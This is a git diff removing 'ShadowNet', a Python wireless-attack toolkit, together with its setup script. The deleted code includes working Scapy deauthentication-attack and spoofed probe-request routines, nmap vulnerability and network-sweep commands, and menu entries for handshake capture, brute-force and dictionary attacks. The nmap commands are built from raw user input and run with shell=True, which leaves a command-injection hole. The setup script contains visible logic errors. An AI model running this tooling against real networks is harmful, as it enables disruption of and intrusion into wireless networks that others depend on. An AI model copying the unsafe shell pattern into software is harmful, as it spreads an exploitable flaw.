list(Path(".").glob(pattern)) - for file in files: - file.unlink() - cleaned += 1 - print(f"[+] DELETED: {file.name}") - - print(f"[+] CLEANED {cleaned} TEMPORARY FILES") - - def system_infiltration(self): - print("\n[*] SYSTEM INFILTRATION MODULE") - print("=" * 50) - print("[1] PORT SCAN") - print("[2] SERVICE ENUMERATION") - print("[3] VULNERABILITY SCAN") - print("[4] NETWORK MAPPING") - - choice = input("[+] SELECT OPTION: ") - target = input("[+] TARGET IP: ") - - if choice == "1": - cmd = f"nmap -sS -O {target}" - elif choice == "2": - cmd = f"nmap -sV -sC {target}" - elif choice == "3": - cmd = f"nmap --script vuln {target}" - elif choice == "4": - cmd = f"nmap -sn {target}/24" - else: - return - - print(f"[*] EXECUTING: {cmd}") - subprocess.run(cmd, shell=True) - - input("\n[PRESS ENTER TO CONTINUE]") - - def run(self): - shadownet_intro() - - if not self.check_dependencies(): - input("[PRESS ENTER TO EXIT]") - return - - while True: - self.display_banner() - - choice = input("\n[+] SELECT MODULE: ") - - if choice == "01" or choice == "1": - self.network_recon() - elif choice == "02" or choice == "2": - self.hidden_ssid_discovery() - elif choice == "03" or choice == "3": - self.access_point_analysis() - elif choice == "04" or choice == "4": - self.deauth_operations() - elif choice == "05" or choice == "5": - self.wireless_bruteforce() - elif choice == "06" or choice == "6": - self.handshake_capture() - elif choice == "07" or choice == "7": - self.dictionary_attack() - elif choice == "08" or choice == "8": - self.system_infiltration() - elif choice == "09" or choice == "9": - self.wordlist_management() - elif choice == "10" or choice == "10": - self.file_operations() - elif choice == "99": - print("\n[*] SHADOWNET TERMINATED") - print("[*] OUT") - break - else: - print("\n[!] INVALID SELECTION") - time.sleep(1) - - -class HiddenNetworkScanner: - def __init__(self, interface=None, timeout=30, passive_scan=False, use_scapy=True): - self.interface = interface - self.timeout = timeout - self.passive_scan = passive_scan - self.use_scapy = use_scapy and SCAPY_AVAILABLE - self.networks = defaultdict(dict) - self.hidden_networks = [] - self.probe_requests = defaultdict(set) - self.scanning = False - self.clients = defaultdict(set) - self.deauth_enabled = False - - signal.signal(signal.SIGINT, self._signal_handler) - signal.signal(signal.SIGTERM, self._signal_handler) - - def _signal_handler(self, signum, frame): - """Handle interrupt signals gracefully""" - print(f"\nReceived signal {signum}, stopping scan...") - self.scanning = False - - def check_requirements(self): - """Check if required tools are available""" - required_tools = ['iwlist', 'iw', 'nmcli'] - missing_tools = [] - - for tool in required_tools: - try: - subprocess.run(['which', tool], check=True, capture_output=True) - except subprocess.CalledProcessError: - missing_tools.append(tool) - - if missing_tools: - print(f"Missing required tools: {', '.join(missing_tools)}") - print("Please install wireless-tools and NetworkManager") - return False - return True - - def get_wireless_interfaces(self): - """Get available wireless interfaces""" - try: - result = subprocess.run(['iw', 'dev'], capture_output=True, text=True) - interfaces = [] - for line in result.stdout.split('\n'): - if 'Interface' in line: - interface = line.split()[-1] - interfaces.append(interface) - return interfaces - except Exception as e: - print(f"Error getting wireless interfaces: {e}") - return [] - - def set_monitor_mode(self, interface): - """Set interface to monitor mode""" - try: - print(f"Setting {interface} to monitor mode...") - subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'down'], check=True) - subprocess.run(['sudo', 'iw', interface, 'set', 'type', 'monitor'], check=True) - subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'up'], check=True) - print(f"Monitor mode enabled on {interface}") - return True - except subprocess.CalledProcessError as e: - print(f"Failed to set monitor mode: {e}") - return False - - def restore_managed_mode(self, interface): - """Restore interface to managed mode""" - try: - print(f"Restoring {interface} to managed mode...") - subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'down'], check=True) - subprocess.run(['sudo', 'iw', interface, 'set', 'type', 'managed'], check=True) - subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'up'], check=True) - print(f"Managed mode restored on {interface}") - except subprocess.CalledProcessError as e: - print(f"Failed to restore managed mode: {e}") - - def parse_iwlist_output(self, output): - """Parse iwlist scan output""" - networks = [] - cells = output.split('Cell ') - - for cell in cells[1:]: - network = {} - lines = cell.split('\n') - - for line in lines: - line = line.strip() - - if 'Address:' in line: - network['bssid'] = line.split('Address: ')[1].strip() - - elif 'ESSID:' in line: - essid = line.split('ESSID:')[1].strip().strip('"') - network['ssid'] = essid if essid else '' - - elif 'Channel:' in line: - network['channel'] = line.split('Channel:')[1].strip() - - elif 'Signal level=' in line: - signal_match = re.search(r'Signal level=(-?\d+)', line) - if signal_match: - network['signal'] = int(signal_match.group(1)) - - elif 'Encryption key:' in line: - network['encryption'] = 'on' in line.lower() - - elif 'IEEE 802.11i/WPA2' in line: - network['security'] = 'WPA2' - elif 'WPA Version 1' in line: - network['security'] = 'WPA' - elif 'Privacy' in line: - network['security'] = 'WEP' - - if network.get('bssid'): - networks.append(network) - - return networks - - def scan_with_iwlist(self, interface): - """Scan networks using iwlist""" - try: - print(f"Scanning with iwlist on {interface}...") - result = subprocess.run(['sudo', 'iwlist', interface, 'scan'], - capture_output=True, text=True, timeout=30) - - if result.returncode == 0: - return self.parse_iwlist_output(result.stdout) - else: - print(f"iwlist scan failed: {result.stderr}") - return [] - except subprocess.TimeoutExpired: - print("iwlist scan timed out") - return [] - except Exception as e: - print(f"Error in iwlist scan: {e}") - return [] - - def scan_with_nmcli(self): - """Scan networks using nmcli""" - try: - print("Scanning with nmcli...") - result = subprocess.run(['nmcli', '-t', '-f', 'SSID,BSSID,CHAN,SIGNAL,SECURITY', - 'dev', 'wifi', 'list'], capture_output=True, text=True) - - networks = [] - for line in result.stdout.split('\n'): - if line.strip(): - parts = line.split(':') - if len(parts) >= 5: - network = { - 'ssid': parts[0] if parts[0] else '', - 'bssid': parts[1], - 'channel': parts[2], - 'signal': int(parts[3]) if parts[3] else 0, - 'security': parts[4] - } - networks.append(network) - - return networks - except Exception as e: - print(f"Error in nmcli scan: {e}") - return [] - - def passive_monitor_scan(self, interface, duration=30): - """Perform passive monitoring scan""" - try: - print(f"Starting passive monitoring on {interface} for {duration} seconds...") - - # Use tcpdump to capture beacon frames - cmd = ['sudo', 'tcpdump', '-i', interface, '-c', '1000', - 'type mgt subtype beacon', '-e', '-s', '256'] - - process = subprocess.Popen(cmd, stdout=subprocess.PIPE, - stderr=subprocess.PIPE, text=True) - - networks = set() - start_time = time.time() - - while time.time() - start_time < duration: - try: - output = process.stdout.readline() - if output: - # Parse beacon frame for BSSID and SSID - bssid_match = re.search(r'([0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2})', output) - if bssid_match: - bssid = bssid_match.group(1) - # Try to extract SSID from beacon - ssid = '' # Default for hidden networks - networks.add((bssid, ssid)) - except: - break - - process.terminate() - return [{'bssid': bssid, 'ssid': ssid} for bssid, ssid in networks] - - except Exception as e: - print(f"Error in passive scan: {e}") - return [] - - def get_mac_vendor(self, mac): - """Get MAC address vendor information""" - try: - oui = mac[:8].upper().replace(':', '') - vendor_db = { - '00:50:F2': 'Microsoft', - '00:0C:43': 'Ralink', - '00:1B:2F': 'Intel', - '00:25:00': 'Apple', - '00:13:CE': 'Cisco', - '00:0F:B5': 'Netgear', - '00:26:F2': 'Netgear', - '00:14:BF': 'Netgear', - '00:18:39': 'Cisco', - '00:1F:90': 'Cisco' - } - - for oui_prefix, vendor in vendor_db.items(): - if mac.upper().startswith(oui_prefix): - return vendor - return 'Unknown' - except: - return 'Unknown' - - def process_beacon(self, pkt): - """Process beacon frames to detect networks""" - if not pkt.haslayer(Dot11Beacon): - return - - bssid = pkt[Dot11].addr3 - ssid = pkt[Dot11Elt].info.decode('utf-8', errors='ignore') - - channel = int(ord(pkt[Dot11Elt:3].info)) - signal_strength = pkt.dBm_AntSignal if hasattr(pkt, 'dBm_AntSignal') else 0 - - is_hidden = len(ssid) == 0 or ssid.isspace() - - network_info = { - 'bssid': bssid, - 'ssid': ssid if not is_hidden else '', - 'channel': channel, - 'signal': signal_strength, - 'hidden': is_hidden, - 'vendor': self.get_mac_vendor(bssid), - 'timestamp': datetime.now().isoformat() - } - - # Parse security information - security_info = self.parse_security_info(pkt) - network_info.update(security_info) - - self.networks[bssid] = network_info - - if is_hidden: - self.hidden_networks.append(network_info) - - return network_info - - def process_probe_request(self, pkt): - """Process probe request frames to discover hidden networks""" - if not pkt.haslayer(Dot11ProbeReq): - return - - client_mac = pkt[Dot11].addr2 - - if pkt.haslayer(Dot11Elt): - ssid = pkt[Dot11Elt].info.decode('utf-8', errors='ignore') - if ssid: - self.probe_requests[client_mac].add(ssid) - - for bssid, network in self.networks.items(): - if network.get('hidden', False): - self.correlate_probe_with_hidden(client_mac, ssid, bssid) - - def process_probe_response(self, pkt): - """Process probe response frames""" - if not pkt.haslayer(Dot11ProbeResp): - return - - bssid = pkt[Dot11].addr3 - ssid = pkt[Dot11Elt].info.decode('utf-8', errors='ignore') - - if bssid in self.networks: - if self.networks[bssid].get('hidden', False) and ssid: - self.networks[bssid]['ssid'] = ssid - self.networks[bssid]['hidden'] = False - print(f"Hidden network revealed: {bssid} -> {ssid}") - - def correlate_probe_with_hidden(self, client_mac, ssid, bssid): - """Correlate probe requests with hidden networks""" - self.clients[bssid].add(client_mac) - - if bssid in self.networks and self.networks[bssid].get('hidden', False): - confidence = self.calculate_correlation_confidence(client_mac, ssid, bssid) - if confidence > 0.7: - self.networks[bssid]['probable_ssid'] = ssid - self.networks[bssid]['confidence'] = confidence - print(f"Probable SSID for {bssid}: {ssid} (confidence: {confidence:.2f})") - - def calculate_correlation_confidence(self, client_mac, ssid, bssid): - """Calculate confidence level for SSID correlation""" - confidence = 0.5 - - if len(self.clients[bssid]) > 1: - confidence += 0.2 - - probe_count = sum(1 for probes in self.probe_requests.values() if ssid in probes) - if probe_count > 1: - confidence += 0.1 - - return min(confidence, 1.0) - - def parse_security_info(self, pkt): - """Parse security information from beacon/probe response""" - security_info = {'security': 'Open', 'encryption': False} - - if pkt.haslayer(Dot11Elt): - elt = pkt[Dot11Elt] - while elt: - if elt.ID == 48: - security_info['security'] = 'WPA2' - security_info['encryption'] = True - elif elt.ID == 221: - if elt.info.startswith(b'\x00\x50\xf2\x01'): - security_info['security'] = 'WPA' - security_info['encryption'] = True - - elt = elt.payload if hasattr(elt, 'payload') else None - - if pkt.haslayer(Dot11Beacon) and pkt[Dot11Beacon].cap & 0x10: - security_info['security'] = 'WEP' - security_info['encryption'] = True - - return security_info - - def packet_handler(self, pkt): - """Main packet handler for Scapy sniffing""" - if not self.scanning: - return - - try: - if pkt.haslayer(Dot11): - if pkt.haslayer(Dot11Beacon): - self.process_beacon(pkt) - elif pkt.haslayer(Dot11ProbeReq): - self.process_probe_request(pkt) - elif pkt.haslayer(Dot11ProbeResp): - self.process_probe_response(pkt) - - except Exception as e: - if self.verbose: - print(f"Error processing packet: {e}") - - def send_probe_requests(self, interface, target_ssids=None): - """Send probe requests to discover hidden networks""" - if not self.use_scapy: - print("Scapy not available for probe requests") - return - - common_ssids = [ - "linksys", "netgear", "dlink", "tplink", "asus", "buffalo", - "cisco", "apple", "android", "iphone", "samsung", "lg", - "home", "office", "guest", "wifi", "wireless", "network", - "router", "modem", "internet", "broadband", "default" - ] - - if target_ssids: - ssids_to_probe = target_ssids - else: - ssids_to_probe = common_ssids - - print(f"Sending probe requests for {len(ssids_to_probe)} SSIDs...") - - for ssid in ssids_to_probe: - try: - probe_req = ( - RadioTap() / - Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", - addr2=RandMAC(), addr3="ff:ff:ff:ff:ff:ff") / - Dot11ProbeReq() / - Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) - ) - - sendp(probe_req, iface=interface, verbose=False) - time.sleep(0.1) - - except Exception as e: - if self.verbose: - print(f"Error sending probe for {ssid}: {e}") - - def perform_deauth_attack(self, target_bssid, client_mac=None, count=10): - """Perform deauthentication attack (for educational purposes)""" - if not self.deauth_enabled: - print("Deauth attacks are disabled. Enable with --enable-deauth") - return - - if not self.use_scapy: - print("Scapy not available for deauth attacks") - return - - print(f"WARNING: Performing deauth attack on {target_bssid}") - print("This is for educational purposes only!") - - if not client_mac: - client_mac = "ff:ff:ff:ff:ff:ff" - - try: - deauth = ( - RadioTap() / - Dot11(addr1=client_mac, addr2=target_bssid, addr3=target_bssid) / - Dot11Deauth(reason=7) - ) - - for i in range(count): - sendp(deauth, iface=self.interface, verbose=False) - time.sleep(0.1) - - print(f"Sent {count} deauth packets") - - except Exception as e: - print(f"Error performing deauth attack: {e}") - - def scapy_scan(self, interface, duration=30): - """Perform Scapy-based wireless scanning""" - if not self.use_scapy: - print("Scapy not available for advanced scanning") - return [] - - print(f"Starting Scapy-based scan on {interface} for {duration} seconds...") - - self.scanning = True - - def capture_packets(): - try: - sniff(iface=interface, prn=self.packet_handler, - timeout=duration, store=0) - except Exception as e: - print(f"Error during packet capture: {e}") - - capture_thread = threading.Thread(target=capture_packets) - capture_thread.daemon = True - capture_thread.start() - - if self.passive_scan: - probe_thread = threading.Thread( - target=self.send_probe_requests, - args=(interface,) - ) - probe_thread.daemon = True - probe_thread.start() - - time.sleep(duration) - self.scanning = False - - capture_thread.join(timeout=2) - - return list(self.networks.values()) - - def scan_networks(self): - """Main network scanning function with enhanced Scapy support""" - if not self.check_requirements(): - return [] - - all_networks = [] - - if self.interface: - interfaces = [self.interface] - else: - interfaces = self.get_wireless_interfaces() - if not interfaces: - print("No wireless interfaces found") - return [] - - for interface in interfaces: - print(f"\nScanning on interface: {interface}") - - if self.use_scapy: - try: - scapy_networks = self.scapy_scan(interface, self.timeout) - all_networks.extend(scapy_networks) - print(f"Scapy scan found {len(scapy_networks)} networks") - except Exception as e: - print(f"Scapy scan failed: {e}") - print("Falling back to traditional methods...") - - networks = self.scan_with_iwlist(interface) - all_networks.extend(networks) - - if self.passive_scan and not self.use_scapy: - original_mode = True - if self.set_monitor_mode(interface): - passive_networks = self.passive_monitor_scan(interface, self.timeout) - all_networks.extend(passive_networks) - self.restore_managed_mode(interface) - - nmcli_networks = self.scan_with_nmcli() - all_networks.extend(nmcli_networks) - - unique_networks = {} - for network in all_networks: - bssid = network.get('bssid', '') - if bssid and bssid not in unique_networks: - unique_networks[bssid] = network - - ssid = network.get('ssid', '') - if not ssid or ssid == '' or ssid == '""' or len(ssid.strip()) == 0: - network['hidden'] = True - if network not in self.hidden_networks: - self.hidden_networks.append(network) - else: - network['hidden'] = False - - return list(unique_networks.values()) - - def display_results(self, networks): - """Display scan results with enhanced information""" - print(f"\n{'='*90}") - print("ENHANCED HIDDEN NETWORKS SCAN RESULTS") - print(f"{'='*90}") - print(f"Scan completed at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") - print(f"Total networks found: {len(networks)}") - print(f"Hidden networks: {len(self.hidden_networks)}") - print(f"Probe requests captured: {len(self.probe_requests)}") - print(f"Unique clients detected: {sum(len(clients) for clients in self.clients.values())}") - - if self.hidden_networks: - print(f"\n{'='*90}") - print("HIDDEN NETWORKS DETECTED:") - print(f"{'='*90}") - print(f"{'BSSID':<18} {'SSID':<20} {'Probable SSID':<15} {'Channel':<8} {'Signal':<8} {'Security':<10} {'Vendor':<15}") - print("-" * 90) - - for network in self.hidden_networks: - bssid = network.get('bssid', 'Unknown') - ssid = network.get('ssid', '') - probable_ssid = network.get('probable_ssid', '-') - channel = network.get('channel', 'Unknown') - signal = network.get('signal', 0) - security = network.get('security', 'Unknown') - vendor = network.get('vendor', 'Unknown') - - print(f"{bssid:<18} {ssid:<20} {probable_ssid:<15} {channel:<8} {signal:<8} {security:<10} {vendor:<15}") - - if self.probe_requests: - print(f"\n{'='*90}") - print("PROBE REQUEST ANALYSIS:") - print(f"{'='*90}") - print(f"{'Client MAC':<18} {'Probed SSIDs':<50}") - print("-" * 90) - - for client_mac, ssids in list(self.probe_requests.items())[:10]: - ssid_list = ', '.join(list(ssids)[:5]) - if len(ssids) > 5: - ssid_list += f" ... (+{len(ssids)-5} more)" - print(f"{client_mac:<18} {ssid_list:<50}") - - print(f"\n{'='*90}") - print("ALL NETWORKS:") - print(f"{'='*90}") - print(f"{'BSSID':<18} {'SSID':<25} {'Channel':<8} {'Signal':<8} {'Security':<10} {'Hidden':<8} {'Vendor':<15}") - print("-" * 100) - - for network in sorted(networks, key=lambda x: x.get('signal', 0), reverse=True): - bssid = network.get('bssid', 'Unknown') - ssid = network.get('ssid', '') - channel = network.get('channel', 'Unknown') - signal = network.get('signal', 0) - security = network.get('security', 'Unknown') - hidden = 'Yes' if network.get('hidden', False) else 'No' - vendor = network.get('vendor', 'Unknown') - - print(f"{bssid:<18} {ssid:<25} {channel:<8} {signal:<8} {security:<10} {hidden:<8} {vendor:<15}") - - if self.use_scapy: - self.display_insights(networks) - - def display_insights(self, networks): - """Display additional insights from Scapy analysis""" - print(f"\n{'='*90}") - print("ADVANCED INSIGHTS:") - print(f"{'='*90}") - - channels = {} - for network in networks: - channel = network.get('channel', 'Unknown') - channels[channel] = channels.get(channel, 0) + 1 - - print("Channel Distribution:") - for channel, count in sorted(channels.items()): - print(f" Channel {channel}: {count} networks") - - security_types = {} - for network in networks: - security = network.get('security', 'Unknown') - security_types[security] = security_types.get(security, 0) + 1 - - print(f"\nSecurity Analysis:") - for security, count in sorted(security_types.items()): - print(f" {security}: {count} networks") - - hidden_with_probable = sum(1 for net in self.hidden_networks if net.get('probable_ssid')) - if hidden_with_probable > 0: - print(f"\nHidden Network Insights:") - print(f" Networks with probable SSID: {hidden_with_probable}") - print(f" Success rate: {(hidden_with_probable/len(self.hidden_networks))*100:.1f}%") - - vendors = {} - for network in networks: - vendor = network.get('vendor', 'Unknown') - vendors[vendor] = vendors.get(vendor, 0) + 1 - - print(f"\nVendor Distribution:") - for vendor, count in sorted(vendors.items(), key=lambda x: x[1], reverse=True)[:5]: - print(f" {vendor}: {count} networks") - - def export_results(self, networks, filename=None): - """Export results to JSON file""" - if not filename: - filename = f"network_scan_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json" - - export_data = { - 'scan_time': datetime.now().isoformat(), - 'total_networks': len(networks), - 'hidden_networks_count': len(self.hidden_networks), - 'networks': networks, - 'hidden_networks': self.hidden_networks - } - - try: - with open(filename, 'w') as f: - json.dump(export_data, f, indent=2) - print(f"\nResults exported to: {filename}") - except Exception as e: - print(f"Error exporting results: {e}") - - -def main(): - parser = argparse.ArgumentParser( - description='Enhanced Hidden Networks Scanner - Advanced SSID discovery with Scapy' - ) - parser.add_argument('-i', '--interface', help='Wireless interface to use') - parser.add_argument('-t', '--timeout', type=int, default=30, - help='Scan timeout in seconds (default: 30)') - parser.add_argument('-p', '--passive', action='store_true', - help='Enable passive monitoring with probe requests') - parser.add_argument('-o', '--output', help='Output file for results (JSON format)') - parser.add_argument('-v', '--verbose', action='store_true', - help='Verbose output') - parser.add_argument('--no-scapy', action='store_true', - help='Disable Scapy-based scanning') - parser.add_argument('--enable-deauth', action='store_true', - help='Enable deauth attacks (EDUCATIONAL PURPOSE ONLY)') - parser.add_argument('--probe-ssids', nargs='*', - help='Specific SSIDs to probe for') - parser.add_argument('--deauth-target', - help='Target BSSID for deauth attack (requires --enable-deauth)') - parser.add_argument('--deauth-count', type=int, default=10, - help='Number of deauth packets to send (default: 10)') - - args = parser.parse_args() - - if os.geteuid() != 0: - print("This tool requires root privileges. Please run with sudo.") - sys.exit(1) - - if args.enable_deauth: - print("WARNING: Deauth attacks enabled!") - print("This feature is for EDUCATIONAL PURPOSES ONLY.") - print("Use responsibly and only on networks you own or have permission to test.") - response = input("Do you understand and agree? (yes/no): ") - if response.lower() != 'yes': - print("Exiting...") - sys.exit(1) - - print("Enhanced Hidden Networks Scanner with Scapy") - print("=" * 60) - - scanner = HiddenNetworkScanner( - interface=args.interface, - timeout=args.timeout, - passive_scan=args.passive, - use_scapy=not args.no_scapy - ) - - scanner.verbose = args.verbose - scanner.deauth_enabled = args.enable_deauth - - try: - networks = scanner.scan_networks() - scanner.display_results(networks) - - if args.enable_deauth and args.deauth_target: - print(f"\nPerforming deauth attack on {args.deauth_target}...") - scanner.perform_deauth_attack(args.deauth_target, count=args.deauth_count) - - if args.output: - scanner.export_results(networks, args.output) - - except KeyboardInterrupt: - print("\nScan interrupted by user") - scanner.scanning = False - except Exception as e: - print(f"Error during scan: {e}") - if args.verbose: - import traceback - traceback.print_exc() - - - -def run_shadownet(): - shadownet = ShadowNet() - shadownet.run() - - -if __name__ == "__main__": - if len(sys.argv) > 1 and sys.argv[1] == "--legacy": - main() - else: - if os.geteuid() != 0: - print("SHADOWNET REQUIRES ROOT PRIVILEGES") - print("RUN WITH: sudo python3 scan.py") - sys.exit(1) - run_shadownet() - diff --git a/setup.sh b/setup.sh deleted file mode 100755 index d92fb3e..0000000 --- a/setup.sh +++ /dev/null @@ -1,119 +0,0 @@ -#!/bin/bash - -echo "SHADOWNET SETUP SCRIPT" -echo "======================" - -if [[ $EUID -ne 0 ]]; then - echo "THIS SCRIPT MUST BE RUN AS ROOT" - echo "USE: sudo ./setup.sh" - exit 1 -fi - -echo "[*] UPDATING PACKAGE LIST..." -apt-get update -qq - -echo "[*] INSTALLING CORE DEPENDENCIES..." -apt-get install -y aircrack-ng nmap wireless-tools net-tools - -echo "[*] INSTALLING PYTHON DEPENDENCIES..." -pip3 install scapy netifaces colorama - -echo "[*] SETTING PERMISSIONS..." -chmod +x scan.py - -echo "[*] CREATING WORDLIST..." -if [ ! -f "list.txt" ]; then - echo "[*] WORDLIST ALREADY EXISTS" -fi - -echo "" -echo "SHADOWNET SETUP COMPLETE" -echo "========================" -echo "RUN WITH: sudo python3 scan.py" -echo "LEGACY MODE: sudo python3 scan.py --legacy" -echo "" - -echo "Detected OS: $OS" - -echo "Installing system dependencies..." - -case $OS in - debian) - sudo apt-get update - sudo apt-get install -y wireless-tools iw network-manager python3 python3-pip python3-venv tcpdump - sudo apt-get install -y aircrack-ng - ;; - redhat) - if command -v dnf &> /dev/null; then - sudo dnf install -y wireless-tools iw NetworkManager python3 python3-pip tcpdump - sudo dnf install -y aircrack-ng - else - sudo yum install -y wireless-tools iw NetworkManager python3 python3-pip tcpdump - sudo yum install -y aircrack-ng - fi - ;; - arch) - sudo pacman -S --needed wireless_tools iw networkmanager python python-pip tcpdump - sudo pacman -S --needed aircrack-ng - ;; -esac - -if [ ! -d ".venv" ]; then - echo "Creating Python virtual environment..." - python3 -m venv .venv -fi - -source .venv/bin/activate - -echo "Installing Python dependencies..." -pip install --upgrade pip -pip install scapy>=2.4.5 netifaces>=0.11.0 - - -echo "Making scan.py executable..." -chmod +x scan.py - - -echo "Checking Python version..." -python3 --version - - -echo "Verifying tool installation..." -tools=("iwlist" "iw" "nmcli" "tcpdump") -for tool in "${tools[@]}"; do - if command -v "$tool" &> /dev/null; then - echo "✓ $tool is installed" - else - echo "✗ $tool is not installed" - exit 1 - fi -done - -echo "Checking optional tools..." -optional_tools=("aircrack-ng" "airodump-ng") -for tool in "${optional_tools[@]}"; do - if command -v "$tool" &> /dev/null; then - echo "✓ $tool is installed (optional)" - else - echo "○ $tool is not installed (optional)" - fi -done - -echo "" -echo "[+] Enhanced setup completed successfully!" -echo "" -echo "Enhanced Features:" -echo " ✓ Scapy-based 802.11 frame analysis" -echo " ✓ Probe request monitoring" -echo " ✓ Advanced hidden SSID detection" -echo " ✓ Vendor identification" -echo " ✓ Security analysis" -echo "" -echo "Usage Examples:" -echo " sudo ./scan.py # Basic enhanced scan" -echo " sudo ./scan.py -i wlan0 -p # Passive scan with probe requests" -echo " sudo ./scan.py --probe-ssids home office # Probe specific SSIDs" -echo " sudo ./scan.py -v -o results.json # Verbose with JSON export" -echo "" -echo "IMPORTANT: Root privileges are required for wireless scanning" -echo "WARNING: Use deauth features responsibly and only on authorized networks"